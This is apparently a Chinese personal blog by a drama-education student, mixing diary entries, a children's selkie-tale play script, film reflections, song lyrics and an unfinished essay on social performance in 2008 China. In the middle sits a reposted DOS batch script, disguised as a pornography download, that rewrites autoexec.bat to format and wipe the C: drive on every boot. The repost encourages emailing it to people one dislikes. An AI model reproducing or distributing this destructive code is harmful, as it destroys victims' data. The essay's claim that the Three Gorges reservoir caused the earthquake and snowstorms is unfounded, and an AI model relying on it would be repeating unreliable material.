今天在校园里和何老师聊天，赶着去参加学校里的老外工作坊。于是就长话短说了一下。在和她聊天的过程里，我透露出了很多的无奈。不知道为什么，在何老师面前我总是会自然而然地流露出一种孩子气，就和上学期面对杨姐姐一样。这就是传说中的安全感吧。当时我的情绪和3月初接到彭师兄的电话时有得一拼。主要是前晚又有一些事情让我纠结。很对不起何老师的是，我这么快就让她知道了其实我们真的是在孤军奋战，除了几位导师和少数的人，我们再无依靠。看得出何老师眼中的失落，但是也看得出她重新调整后的坚定，所以我把签名也改成了WALK FIRMLY。应该说，无论遇到什么困难，只要我们坚持下去了，明天就会更有希望的。

流水账3
在教室里和范老师有了一小段对话，经过周师姐的转述，他知道了我现在在做的事情进展，于是关心地问了。相信他会惊喜地发现我一下子和他说了好多。肯定心里想这个小子怎么一下子说起了RAINBOW THEATRE，他的眼神带着肯定，说要去看看我工作的情况，我充满信心地答应，心里想，5月1号来看我的大戏吧！

流水账4
我带着口吐白沫的精神把之后几天要做的音效校对完成了。唐宁前两天还在说我是少数几个剧社里全勤的人，然后这两天我就要放一个晚上的鸽子了。没有办法，信用卡还是要还的。既然三角债那么难搞，借出去的钱到现在还没有影子，那就只能老老实实地接点零活养家糊口了。说起要做的音效。我是抱着第一遍批判，第二遍压火，第三遍麻木的心情去校对的。不合理的调度，从头到底的假唱加假叫，还有几乎没有情节的剧情，恶俗的动作，有几分钟我真是忍无可忍了。但是又能怎么样呢。我可以当超人的面骂他毁了阴道独白，毁了努力的学生演员，但是我却不能骂让我能还信用卡的人。生活还是要继续的，就算麻木也要把连着四天的机械操作给忍下来把。
并且这次是我第一次决定用CD来放音效。（是放，不是做，因为没有技术含量啊）一来怕本本重装后回出现什么状况，还有待谋和，二来，这简单的音效真的可以用一张CD来搞定，我在剧组里的位置就一操作熟练工而已。

流水账5
今天去理了头发。和老板说我要理毛寸的。他看了看我，和平常一样，他还是开始感叹说那么好的发质，留了很长时间不可惜吗？我还是一贯的回答，天热了。是啊，天热了，事情多了，可以用来照顾头发的时间也少了。而且我本来就不照顾我的头发，既然没有能力照顾还不如剪掉拉倒。

流水账6
今天老外授课的时候，卢珊上到一半就悻悻然摔门而去。很纯粹的一个小姑娘，后来我消息问她，她说那个老外骨子里看不起中国，她不需要人家强给的民主思想，这种课不上也罢。后面还有更搞笑的。我看她消息的时候，另一个MFA正在极尽赞美之词地说老外放的歌剧有多吸引他，国内很少有那么好的演员，旁人都你看我我看你，都能感觉到一种气势，好像在说好演员不就在你身边吗？
两种极致。我不想评判谁对谁错。这些年参加了那么多WORKSHOP，自己也做了好多，感觉这帮老外其实也很有戏剧性。他们有的拿着欧美的文化基金四处教学，有的则常年受基金资助在亚欧各国混迹。当然其中有很多优秀的导演和演员，但是也免不了有滥竽充数的。今天我还看到个更厉害的，貌似得了帕金森还坚持在这里授课。天！不敢想象4月5号要去看的一个曾经被发配西南地区的欧洲导演的WORKSHOP。一个赤裸裸地文化传教士的WORKSHOP。不过我想看看他是怎么个传教法。是输出革命还是宣扬民主文化。
但是对于我来说，不管他们想输出什么，我不想听的就过滤掉，然后把他们的真才实料给记下来。好歹也是个师夷之长及，以制夷嘛~虽然我不像卢珊那么纯粹的可爱，但是至少我也有自己的纯粹吧。

难得周五那么早起床，
以后也一直要这样，万恶的英语课。

挤在罐头似的地铁车厢里，看着大家无奈的脸，
突然发现有人居然还能玩PSP，神奇！

春天早上的阳光扑面而来，
开心的笑容自心底舒展开。
刚和老师商量了一个上午上两门不同的英语课，
1，2基础；3，4专业。
因为上学期忘记了期中考试，
因为我喜欢睡懒觉。

下午给小朋友们上课的时候，
让他们用春天的阳光为题，编一组小品。
他们很搞笑，
小狗，小猫，小羊都出现了，
居然还有卖小狗的小商贩。笑得我眼泪都要出来了。

此刻坐在家里，看着太阳落山。

这两天的心情可以用跌宕起伏在形容。

先是无暇考虑任何问题，拼命的做很多事情。接着因为一些事情郁闷，难受；然后是开怀，振作；接着又陷入到难受中；再然后恢复了平静；接着又难受，郁闷；……收到鼓舞……；……受打击……。

因为下午回学校路上和刘畅的一段对话，突然觉得自己好像没有把戏剧教育的教纲整理清楚，于是接下来的时间里我的内心对小朋友们充满了愧疚，觉得自己在误人子弟，甚至想找个地洞钻进去。于是刚才仔仔细细看了一遍去年写的教案。回想了一下纪师兄的教导。我现在可以发誓，我真的可以发誓，对天发誓，我把上个上个学期应该给1、2年级的小朋友们做的练习和要达到的目标都完成了！真的完成了，并且让他们明白了，以至于今天的亲子教育课堂很成功，家长们没有半点的反对意见，相比4年级的家长，他们给了我我应该得到的掌声。我甚至于惊讶自己为什么那么没有信心对刘畅说我把我的教纲都很好的完成了。
可是三四五年级呢？刘畅是个负责人的好孩子，她在尽她最大的努力去完成教纲，但是因为我的缘故，上个学期没有太多的时间去告诉她怎么设计课堂教学要用到的工作坊手段。我失职了，后悔中。可是另外两个人呢。。。。。。我终于知道自己在回学校的路上为什么会对刘畅说他们两个很不应该，没有好好的设计自己的工作坊，教纲完成情况怎么可能到位。

亲子剧场的效果反映是最最最明显的例证！天真的小孩子的表现是不会骗人的！至少在刘畅的课堂上我看到了他们班级的进步。但是四年级乱成一锅粥的课堂呢，那是谁的问题？！不要说班级里有捣蛋鬼，1、2年级的捣蛋鬼绝对不会比四年级逊色的！

好了不激动了。晚上去街道的时候收到了师兄的电话。他刚从美国回来。带来了很多戏剧教育的好消息。处在郁闷中的我好像找到了最后一根救命稻草。顿时觉得人是轻松的。我巴不得那个时侯就回去把这一年来的戏剧教育开展情况的资料都立马发给他。巴不得立刻冲到他面前说把艺教的同学拉过来做戏剧教育吧。
那个时候我开始觉得自己是个无助的小孩。想躲到某个角落里哭泣。
感激何莹老师，感激纪师兄，感激孙悦，易蕾，刘畅，杨玥，卓奕成，还有上学期坚持着的艺教的师弟师妹们。我们每个人都抱着一颗很善良的心。即使这个学期有的人会因为各种原因暂时离开这个队伍，但是我们的努力已经有了些许回报。家长的不反对已经是一个大的认同了。更多学校的要求加入也已经是个很令人振奋的消息了。

但是戏剧教育真的需要更多的人来参与。不只是成人的。还有孩子的。我们每一个人现在的压力就是一种无奈。毕业论文、温饱问题、工作压力、体力、心理方面的。有的人能处理好，有的人却很难调节。
中午的时候去拜访了一个传媒公司的老总。上戏戏文毕业的。虽然我从他的办公室和言语间看到和听到了很多中年人的市侩，商人的唯利是图。但是当我说道工作坊和戏剧教育的普及时，他的眼睛是放光的。旁边的女孩子一直在强调他可以在杂志里找到大艺术的切入点，可是她却不能了解一个戏剧人对传播戏剧和做好戏剧的渴望。临走的时候我很想和他说，我很佩服你的理想，那也是我的理想，后来想想不用了，很多东西已经在刚才的谈话里包容了。我们都是同路人，彼此的共同语言已经建立了起来。而他在事业有成之后开始转而去做自己想做的事情，而我也在为了自己想做的事情努力着。这就够了。

前天心情低落时，拿起了久违的放在身边的吉他，擦干净上面的灰尘，剪干净指甲。发泄一样地弹了遍《执着》。吼道声嘶力竭，却感觉是唱得最好的一遍。
几个小时前，发了疯一样地投入地给剧组讲台词，在KTV里一首歌都不唱，还是讲本子。大家开始投来惊讶的目光，并且投入的思考。因为从来没有看到过我这样。说实话我自己都没有看到过自己这样。
因为我想瞬间忘记自己的不开心，把自己变成空白。

为什么最近我一直在告诉自己我没有动力。。。。

为什么我现在一点动力都没有。。。真不知道自己在干嘛。。。混沌地一塌糊涂。。。

大概是因为未来的轨迹都已经确定了，确定得像火车时刻表，确定得又像是坟墓的人生，动力在哪里阿~~~~

以前做什么都会有成就感，想象这是计划的一部分，我在沿着自己给自己的轨迹前进，任何挑战一定都能战胜。现在呢，我的生活在被别人设计，像组装机器人一样，我要做的就是按照程序去做每一件事情。

我不要变成一成不变的猪，我适合不安定，适合每天战战兢兢，而不是掰着手指头算明天的事情如预料一般发生，而不是当一切发生的时候装作惊讶地说：“哦，原来一切就和想象一样阿。。。”

一个从老外那里盗版过来的童话工作坊脚本，根据一个学期以来的中小学教学我做了一些情节和操作上的改进。老少皆宜，欢饮尝试。
当然这个工作坊由很多前期步骤构成，这个是最后的演出脚本，具体的方案可以私下和蛋黄探讨。哇咔咔。

《海的女儿》

  【一个魔术师，拿着笛子（魔棒）在吹着好听的音乐

  【魔术师吹完一个短暂的乐曲后开始，看着观众开始讲故事

魔术师 同学们，老师们大家下午好，我是一个魔术师，今天给大家讲一个关于大海的故事，名字叫海的女儿。

      大家一定很诧异吧，那么大的舞台上就只有我一个人？当然不是，看到我手上的这根魔棒了吗？魔棒所指的地方就会出现故事中的场景和人物。就像这样。

      一只小猫在离开家去寻找食物。

  【魔术师向舞台上一指，一个同学演猫边叫边爬过舞台

魔术师 好了，现在就让我们来开始讲《海的女儿》

  【魔术师开始吹笛子，很短暂的音乐但很好听

  【音乐停止，魔术师开始讲故事

魔术师 在很久以前的北欧，有一片很美丽的大海

  【魔术师指着舞台，同学们扮演波涛汹涌的大海

魔术师 一个渔夫在常年在这里捕鱼，为了养家糊口，他每天都辛勤地劳动着，

  【魔棒一挥，大海消失，渔夫上场，做划船的动作

魔术师 他今天运气不错，一个打网撒到海里，等了没有多久，就捕到了很多鱼。

  【魔棒一挥，扮演渔网的同学被撒出去，他们抓了很多扮演鱼的同学，并围住他们

魔术师 渔夫高兴地把鱼都捞上了船，回家了。渔夫到了岸边，用力拖着劳动成果往家里走去。

魔术师 他打开门进入了自己的房间，把鱼放进了大缸里。

魔术师 他开心的脱下衣服，躺在了床上，他想象着凭自己双收创造的丰衣足食的生活。

魔术师 半夜里，他听到了屋外远处传来的哭泣的声音。于是他穿上衣服，打开门走出了房间。

魔术师 他来到了海边，看着波涛汹涌的大海，哭泣的声音隐约可闻。

魔术师 他走在海岸边。突然！渔夫看见远处作者一个美丽的少女，哭声就是从那里传来。

魔术师 渔夫好像又看见了什么，他躲到了两块岩石后面，看着眼前发生的一幕。三只海狮来到了少女面前，他们围着少女跳舞。这时候少女站了起来，她好像拿出了一套海狮皮准备穿起来。

魔术师 这是渔夫从石头后面窜了出来，向少女冲了过去。三只海狮看到有人冲过来，急忙离开了。

魔术师 少女惊讶地看着渔夫，渔夫这是一把夺取了少女手中的海狮皮，他一手拿着海狮皮，一手拉着少女往家的方向走去。

魔术师 渔夫打开门把女人关进了房间。

魔术师 他又来到了一个茅草搭成的小屋，把海狮皮藏进了小屋。

魔术师 日子一天天过去了，渔夫不准少女出门，她就像一个宠物被关在了笼子里。少女每天可以做的事情就是就是透过房间里的窗子看着美丽的大海，她的家，就像我家小区里的小鸟们隔着笼子，望着遥不可及的天空。

魔术师 有时候，小海狮们也会在海边望着窗口，和少女对视，少女每次都会留下眼泪，没有海狮皮，她就无法回到大海，和自己的同伴们一起生活。

魔术师 其实渔夫对少女也很好，他每天捕鱼回来都会给少女带来好吃的东西，陪少女说话，可是少女每次要离开，渔夫就会阻止。

魔术师 时间就这样一天天地过去了。少女和渔夫结婚了，几年后他们生了两个可爱的小孩。少女还是会隔着窗和小海狮们相望，并且带着自己的孩子们。

魔术师 孩子们被允许到房间外去玩耍，但是少女却不可以。

魔术师 有一天，孩子们在外面玩耍，他们走到了藏着海狮皮的小屋边。他们的好奇心让他们想进去看一看这里面藏着什么。

魔术师 但是渔夫爸爸的警告让他们犹豫。最后他们决定冒险偷偷的进去看看里面藏着什么。

魔术师 他们打开小屋的门，瞬间小屋坍塌了，孩子们从小屋里找到了一具海狮皮，他们既好奇又兴奋。

魔术师 孩子们拿着海狮皮回家去找妈妈，他们想问妈妈这是什么。

魔术师 少女看见了海狮皮感到了一阵惊讶，她急忙用糖果支开了孩子们，拿着海狮皮想办法离开了房间。

魔术师 在临走前，少女拥抱了自己的孩子们，她看了看他们，还是不舍的离开了。

魔术师 少女来到了海边，泊头汹涌的大海像是在召唤她，海狮们出现了，他们又开心的跳起了舞。

魔术师 少女套上海狮皮，和海狮们一起游向大海。

魔术师 这时渔夫带着孩子们赶到了大海边。少女回头看了一眼渔夫，犹豫了一下，和海狮们离开了，渔夫和孩子们望着大海。

魔术师 孩子们苦恼着，渔夫失落地掩面落泪。渔夫因为太伤心晕了过去。

魔术师 当他再醒来的时候，发现自己躺在床上，他急忙起床往了一下窗外，又听见了远处海边传来的哭泣声。

魔术师 他急忙穿好衣服，打开门朝海边跑去，他沿着海边跑着，跑过了两块熟悉的岩石，跑过了整个沙滩。

魔术师 他看到了少女，慢慢地走到了少女身边，渔夫惊呆了，站在那里。

魔术师 原来少女是一块石头。长得很像少女的石头。

魔术师 渔夫看见了不远处在玩耍的海狮，原来他们的欢快的叫喊声在海浪声里是那么的好听，可在渔夫的耳朵里，那就如同哭泣的声音。原来那发生的一切都是一场梦而已。

  【魔术师又吹起了好听的笛子

魔术师 好了《海的女儿》的故事讲完了，希望大家能喜欢。

  【大家一起上台谢幕

《海角七号》获得了名利双收。号称五千万新台币的投资收到了上亿元的回报。一直不解。
拉片子的时候心里一边在分析他成功的原因，一边在骂， 怎么台巴子和冯小刚一样口气变大了。《集结号》号称一部大制作，其实就算加入战争场景也用不了几个钱，估计就几套衣服，一个摄影基地的钱比较厉害。《海角七号》也是，号称大投入，可能钱都用在那艘鬼船和请明星上头了吧。说到底都是小制作而已。

但是听到结尾处的台客和国境之南、野玫瑰的时候。电影让人有种感动。于是重新拉片，拉了一遍又一遍，还下了电影原声听。
其实《海角七号》可以不用追求高投资的口号，那么一部包含人生的剧情和好听音乐的电影，这样的幌子就可以了。

看着范逸臣演绎的角色和几个中年男人，阿伯，小女孩组成的乐队，让我想到了一个日本mv,《adult》。MV讲的是一个中年男人一天突发奇想，想把当年乐队的好友重新聚集起来，做一场演出的故事。最后这群猥琐的老男人和电影中的这群乌合之众一样演奏了让人感动的音乐。
想起了一个乐友在我家里的一段对话。
他：“为什么我老是弹不好。”
我：“慢慢来不要急，你看你练多了，不是手也伤掉了吗。”
他：“那你说我一天要练多久才可以。”
我：“刚开始的话，一两个小时就可以了。而且可以看电视，看书的时候练，尽量放松，一种娱乐。”
他：“我知道，但是我闷得慌。”
我：“练琴是一辈子的事情，好好用心享受。”
他：“我知道，可是我总要弹的稳定吧，感觉自己练那么久都不会一首歌。”
我：“这是一辈子的事情，急不来的。”

前天，在一个剧社里给大家讲戏。我让大家提对训练的要求的时候，很多人都说了想接受专业的表演训练，想学纯粹现实主义的表演，想看看讲义能够尽可能多地了解表演。我的回答是，表演也好，戏剧也好，都是一辈子的事情，现实主义就是生活中的点滴，慢慢体会生活的种种，牢牢记住他，回味他，这个就是最好的修行了。人生就是一场修行。

我一直偏激地觉得一时的技巧练习最终都是机器的。遇到瓶颈的时候，把问题稍微暂放一下，过段时间再拾起的时候就会有新的突破的。工作，学习，生活里，肯定会有很多时不我待的事情，每个人都不能自我。但是仔细想想，有什么是不能放下的呢。任何事情也都是人生中的一个部分吧。都是一辈子的事情吧。《海角七号》里的为了寻找自己音乐梦想的范逸臣是，那个等了一辈子恋人消息的友子也是；MV里那群老男人也是，他们的家人也是。慢慢回味生活，享受生活里的一切快乐、悲伤、喜悦、焦虑。细心的品尝，生活就是绚丽多彩的。
一辈子的事情，何必拘泥于眼前。
顺便想起了电影里范逸臣的台词：“我终于知道为什么别人说我唱歌太用力了。”

整理思路时翻电脑里的资料，偶然看到以前收藏的格式化硬盘的代码。可能这样的代码已经没有用武之地了吧。
很亲切的东西，想当年还很无聊地背过，分析过。但是仅限于win98以前的时代。

我在想人脑可以格式化么，把不开心的事情都格式化掉，好的硬盘留下来，坏的数据清除掉，然后重新安装系统。

格式化他的硬盘 。

日期：2000-8-17 10:09:00
出处：todb.yeah.net
作者：未知
    希望大家不要伤害无辜的人,但个别及其极端讨厌的人除外!可以用E-mail,藏在小程序内,irc中发给他,干脆直
接用软盘拷到他的电脑上去(这可是最好的方法,他或许认为是一个新的病毒).(coconut按:其实有一种方法可以在对方浏览html的时候自动给对方的机器加autoexec.bat，嘿嘿……怎么做？别问我~~~)把下面代码另存为一个.bat文件,接着就看你怎么用了,千万小心不要用自己作实验啊!!!!!!

-----------------------从这开始---------------------------------
@echo off
rem Bye Bye Hardrive 1.0
echo Please wait while program uploads some nice pronography....

call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo dummy variable >c:\dvar.txt

:form
call format c: /q /u /autotest >nul
if exist c:\dos\format.* goto dosform
if exist c:\windows\command\format.* goto winform
goto de

:dosform
cd\dos >nul
call format c: /h /q /u /autotest >nul
cd\ >nul

:winform
cd\windows\command >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
goto inform

:de
if exist c:\dvar.txt goto dtree
goto inform

:dtree
call deltree /y c: >nul
if exist c:\dos\deltree.* goto deldos
if exist c:\windows\command\deltree.* goto delwin
goto inform

:deldos
cd\dos
call deltree /y c: >nul
cd
:delwin
cd\windows\command >nul
call deltree /y c: >nul
cd\ >nul

rem The following rewrites the code into the autoexec.bat file.

echo @echo off >c:\autoexec.bat
echo cls >>c:\autoexe.bat

echo :form
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat
echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat
echo goto de >>c:\autoexec.bat

echo :dosform >>c:\autoexec.bat
echo cd\dos >nul >>c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat

echo :winform >>c:\autoexec.bat
echo cd\windows\command >nul >>c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo goto write >>c:\autoexec.bat

echo :de >>c:\autoexec.bat
echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat
echo goto write >>c:\autoexec.bat

echo :dtree >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat
echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat

echo :deldos >>c:\autoexec.bat
echo cd\dos >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat

echo :delwin >>c:\autoexec.bat
echo cd\windows\command >nul >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat

echo :write >>c:\autoexec.bat
echo type hdkiller.txt >>c:\autoexec.bat
echo c:\ >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo :nasty >>c:\autoexec.bat
echo md nasty >>c:\autoexec.bat
echo cd nasty >>c:\autoexec.bat
echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat
echo goto nasty >>c:\autoexec.bat
echo pause >>c:\autoexec.bat

rem Rewriting of code to the autoexec.bat file is complete.

c:\ >nul
cd\ >nul
:killfat
md nasty >nul
cd nasty >nul
echo Woops Is sent the hdk and not the pornography o well.. >yourgone.txt >nul
goto killfat

:end

今天五点到场，开始选择进场音乐前的歌曲。
找了好久，不知道应该选择什么。
一个歌手的名字出现在面前，当然不是因为她的名字，是因为张震岳的演唱会上，听过他的版本。
脑子里开始回忆起张的歌声。很难想象一个老顽童用一种深沉的口吻说这是他年轻时最爱的歌。他年轻的时候应该是爱摇滚的呀，至少也得是台客的那种。可是他偏偏选择了这首，作为结束曲。
我把《温柔的慈悲》选了出来，在第一个观众开始进场前，坐在了观众席里，闭着眼睛听这首阿桑的版本。放了两边，上楼把播放模式改为顺序播放。有一种天意的感觉。偏偏在这个时候让我享受了一下。很开心。但是失落又来得如此之快。

为明天六级考试准备的耳机，现在却放着它，一遍遍地反复，无休止的反复，因为太爱这首歌，因为太爱那场演唱会。记得在万体馆的门口和黄牛扯皮了一个小时，如愿地用最小的代价看到了最想看的演唱会，那个时侯是我的紧急危机。
而当现在我觉得自己可以毫不犹豫地掏出几百块钱去买他的演唱会门票时，他却可能不会再来。所以这首他在演唱会结束时唱的歌，我会记住一辈子。

圣诞夜去唱歌吧，我想唱一遍这首歌。用心地唱一遍，有种想唱的冲动。此时此刻。

其实我早应该了解
你的温柔是一种慈悲
但是我怎么也学不会
如何能不被情网包围
其实我早应该告别
你的温柔和你的慈悲
但是我还深深的沉醉在
快乐痛苦的边缘
你温柔的慈悲
让我不知该如何面对
再也不能给我任何安慰
再也阻挡不了我的泪水
你温柔的慈悲
让我不知道如何后悔
再也不可能有任何改变
再也愈合不了我的心碎

    导师布置的期末作业，要写2008年中国发生的大事，并且分析其中的社会表演成分。

    首先想到了地震，接着是奥运会，然后是开年的雪灾。
    但是想来想去，这些事件中的社会表演成分似乎没有太多讨论的余地，地震带出了很多善良的人心，奥运体现了强国风范，雪灾就显出全国的惊慌失措。家宝在灾区流泪时，可能心里想着的是如何通过这次天灾，来振兴内需，作为高层他肯定知道巴蜀之地的人民绝没有我们凡人想象的脆弱。私下里和心理医生聊天，他们说去汶川做心理治疗的医生反而被当地人的乐观给反治疗了。前任国母和一干嘉宾观众在一万人瞩目下的仪态让我们知道了一个国家的硬件条件可以瞬间强大，但软件的缺失也可以瞬间让祖国在世界面前丢脸。和很多人聊天，居然大家都对最后出场式上的汉字比画排序默然，这是一种悲哀么？我把地震和雪灾的形成归纳为三峡水库的修建后遗症。也许很多专家学者会跳出来反复论证说这只是自然的巧合，请勿危言耸听。可是君不见，这边三峡一蓄水，那厢重庆就93处严重塌方？告诉那些专家，你丫往自家楼上的房间注个几顿水试试，看看你家的屋顶顶得住么？学过高中物理的都知道水的比热容很大，三峡那里蓄了那么多水，剩下的地方气温变化不巨大才怪，不下冰雹砸死几个厉以宁已经算老天的仁慈了。

    偶尔FQ一下，也觉得很爽。当然这样的社会表演研究肯定是不能拿给导师看的，不然直接提前毕业，肄业证书拿得到拿不到还是问题。

    要说地震，要说奥运，要说雪灾，当然也可以，关键是里面哪里更值得我等凡人关注。照着导师的上课方式先拉下大框架，免得大家又询问什么是SOCIAL PERFORMANCE STUDIES。社会表演的哲学基础是研究人在社会中的两对主要矛盾，即规范VS自由、现实VS虚幻范畴；在现实操作层面进一步扩展到个人的角色VS自我、前台VS后台、脚本VS即兴。（导师又言，若是大家能提出新的一对哲学范畴，那这个理论框架就完美了，事实是我哲学基础太差，且听且吟。）
   

    就拿范跑跑来说，他很有研究的价值。一个甘心把自己的后台暴露在世人面前，勇于用自己的自由精神挑战社会默认规范的凡人，受到了两种截然不同的对待。一方面有人认为他是在炒作自己，是自恋狂，一方面有人认为他很诚实，是真诚表达了自己的想法。
    且不说哪方面对错。我想我在教师的道德角度是鄙视他的，你Y怎么的也得有点牺牲精神。就不说中国的教师应该为学生考虑，难道你没有看见美国也是如此么？去年韩国学生的枪击案里，一个教授为了保护自己的学生，死死顶住门板，最后自己变成了筛子。所以说发达国家的教师能做到的，我们的教师当然更加应该能，因为我们的教师受过九年义务教育的思想品德教育。
    接着抛开师德不谈，我们说真诚。其实范跑跑是个应该歌功颂德的人。我相信事后他的良心是受到谴责的，当然除了舆论外，更有来自当事人自己内心的。但是在谴责的同时，他敢于把自己人性的缺陷暴露在世人面前，这种态度值得肯定。这里有这么个大家都知道的例子。2005年，内蒙某初中礼堂失火，在场的狗腿子一声高呼，让领导先撤，于是事后会场里留下了百来具老师和学生的尸体。惨不忍睹的是有的老师生前为了保护学生不被烧到，还把自己的身体紧紧地护住学生。但是时候我们除了从某些著名论坛上看到相关报道，任何主流媒体都没有报道，国家相关部门也没有对相关涉案人员做过处罚？请注意我用到了“相关涉案人员”这个措辞，在场的领导其实已经因为自己的行为违反了法律，应当可以被判渎职。有关部门这种欲盖弥彰的做法是给出了一个极大的规范概念，握有权利的公仆的生命权大于应该享有生存权的主人的优先权，对自己行为更具支配力的成人的生命权大于抵御危险能力较差的青少年的被保护权。这和国家“人民当家做主”的基调以及中国几千年来一贯的孔融让梨的精神是背道而驰的。
    反观范跑跑，他的勇敢在于他敢于用一种审丑心理挑战公众的忍耐度。作为学美术出身的人应该不会不知道近代西方流行的DADAism，和审丑观。前者强调打破一切传统即成事实，来建立新持续，后者主张要让人理解美的最好办法是让人尽量厌恶丑。范跑跑做到了。他用自己的实际行动颠覆了我们为之骄傲的师德，并且用审丑观主张的方式让社会重新关注师德建设这个话题。这种公然用有违常理的自由挑战逐步被腐化的社会规范的行为；这种充分展露自身后台，挑战大多数人冷漠前台的方式对于唤醒社会良知来说是有益的。
    我们的社会缺少这样真诚的社会表演方式。在一个充满虚假和面具的畸形社会表演体系下，拘泥于虚假规范的前台表演和虚假脚本构成的角色行为是不能充分教育民众，使民众反思的。亚里士多德的《诗学》里提出戏剧的作用是用一段一定时间长度的悲剧模仿来唤起观众的心灵净化和情感宣泄。这种能使人产生净化作用和情感宣泄的悲剧就必须要性格的真实。在俄狄浦斯王的故事里，他弑父娶母。这样的故事在描写君王的前提下必须做到真诚，如果不能打开话匣，把一个君王的丑陋一面展现出来，那观众如何能知道这个悲剧的可悲之处，又如何能引发他们对于自身的思考。

    说奥运，我觉得更应该提一下假唱的林妙可，和其背后的运作团队。要说假唱，这是无可厚非的事情。现在哪场演出没有假唱？要保证现场演出效果，假唱不可避免，技术上的问题不多赘述，演员的心理承受能力也是不尽相同的。
    这次假唱的关键在假唱的人和真实的声音并非来自同一人。调查后可以知道，假唱的小姑娘叫林妙可，真录音的小姑娘是个天津小女孩。两个人一个漂亮，一个普通。她们共同的特点是有着青少年一致的可爱。问题是让漂亮的林妙可上场假唱，却把真录音的小女孩撩在一边冷处理这是个严重的问题。所有知道这件事情的人都会有种暗自不爽的感觉，难道可以代表一个国姓形象的因素只有外表？可是吕燕、牡丹在国外的风风火火和无数傍老外的丑女又如何解释？
    于是这又涉及到了社会表演框架体系中的另外一条，现实VS虚拟。我们都知道漂亮的外表比悦耳的声音在生理接受度上容易使人产生力比多（弗洛伊德理论）姑且在这里把外表和声音置换成现实和虚拟。并且我把这里的外表和声音进一步用现实主义生活化和英雄主义高大全来置换。在我们的现实社会逻辑下，或者说“林妙可”逻辑下，可知“外表》声音，现实主义生活化》英雄主义高大全，现实》虚拟。”但是问题也由此产生。
    马克思主义哲学的辩证统一告诉我们，世界上没有绝对的正确和错误。所以现实和虚拟是不存在对错的。就像现实主义生活化的好莱坞电影和英雄主义高大全的国产主流电影在国民教育上都有着自己各自的特色，就像外表和声音同样反映了人对外在表象的审美需求。从这几个方面来说，我们不能证明林妙可的假唱真形象和天津小女孩的真录音不上场的谁对谁错。
    不过难道我这段文字就白写了？不是！因为以上的证明“林妙可”逻辑没有错恰恰为后面的担忧埋下了伏笔。这个段落的第一部分我很乖巧地用到了心理承受能力这个词语。在这里需要严重发挥一下。
    与范跑跑的勇敢对应的是开幕式方的怯懦。他们没有将自己的后台很真诚的公布于众。但是天网恢恢疏而不漏，在网络咨询发达的今天，开幕式方的欲盖弥彰的态度正是为全社会的诚信建设做了一次摧毁。问君林妙可目前的出台费是多少？9月份的时候报价为友情价30万一小时。问君有多少人还记得那个天津小女孩，估计却没有多少人认得。更有甚者，走在大街上，一百个人里也许会有50个60个人认得出林妙可，但是另外一位呢？熟悉媒体的人一定能本能地反映出，林妙可的背后定会有一个策划团队在运作，这个小姑娘的商业价值使他们不敢去正面宣传假唱，当然国家利益的幌子也非常好用。但是这种不真诚的举动造成的危害呢？估计很少有人会想到过。商业利益第一，外表第一这样的理念会深入我等凡人的心中，只要前台的光鲜亮丽掩盖住后台的阴暗，一切都是有利可图的。
    试问，如此的社会表演案例，何以树立一个良好的社会榜样？
    我们的社会缺少一种真诚的表演方式。在一个物质现实与精神虚幻水火不相容的社会中，真诚就如此被无情腐蚀了。

    话题由精神虚幻引申。前文中这个方面叙述的不是很明确，在次进一步补足。
    自然的雪灾没有太多可以叙述的地方。但是精神的雪灾却足够我们大书特书。从各种媒体平台上我们可以知道，08年是小三打出风头的一年。前有男小三陈冠希争夺春晚收视率；中有小三逼死良家女；后有“乐基儿”促成倪周大婚。
    何以见得这就是一次精神的雪灾？当社会道德沦丧被作为一个娱乐卖点公之于众的时候，正面形象de社会表演何处安身？！
    可能大家对97年拍拍垃圾逼死戴安娜王菲的事情任然记忆犹新。那个时候娱乐记者的威力第一次为公众所熟悉。他们整日里为了暴露知名人物的后台乐此不疲。英国的太阳报，香港的东周刊无不是各种高手。但是当所有艺人联合起来反对八卦娱记，大人拼命藏报纸不让小孩看到三版报道的同时，我们的媒体监管身在何处？
   

    太累了。。。。明天继续后面的完稿。。。。。。。。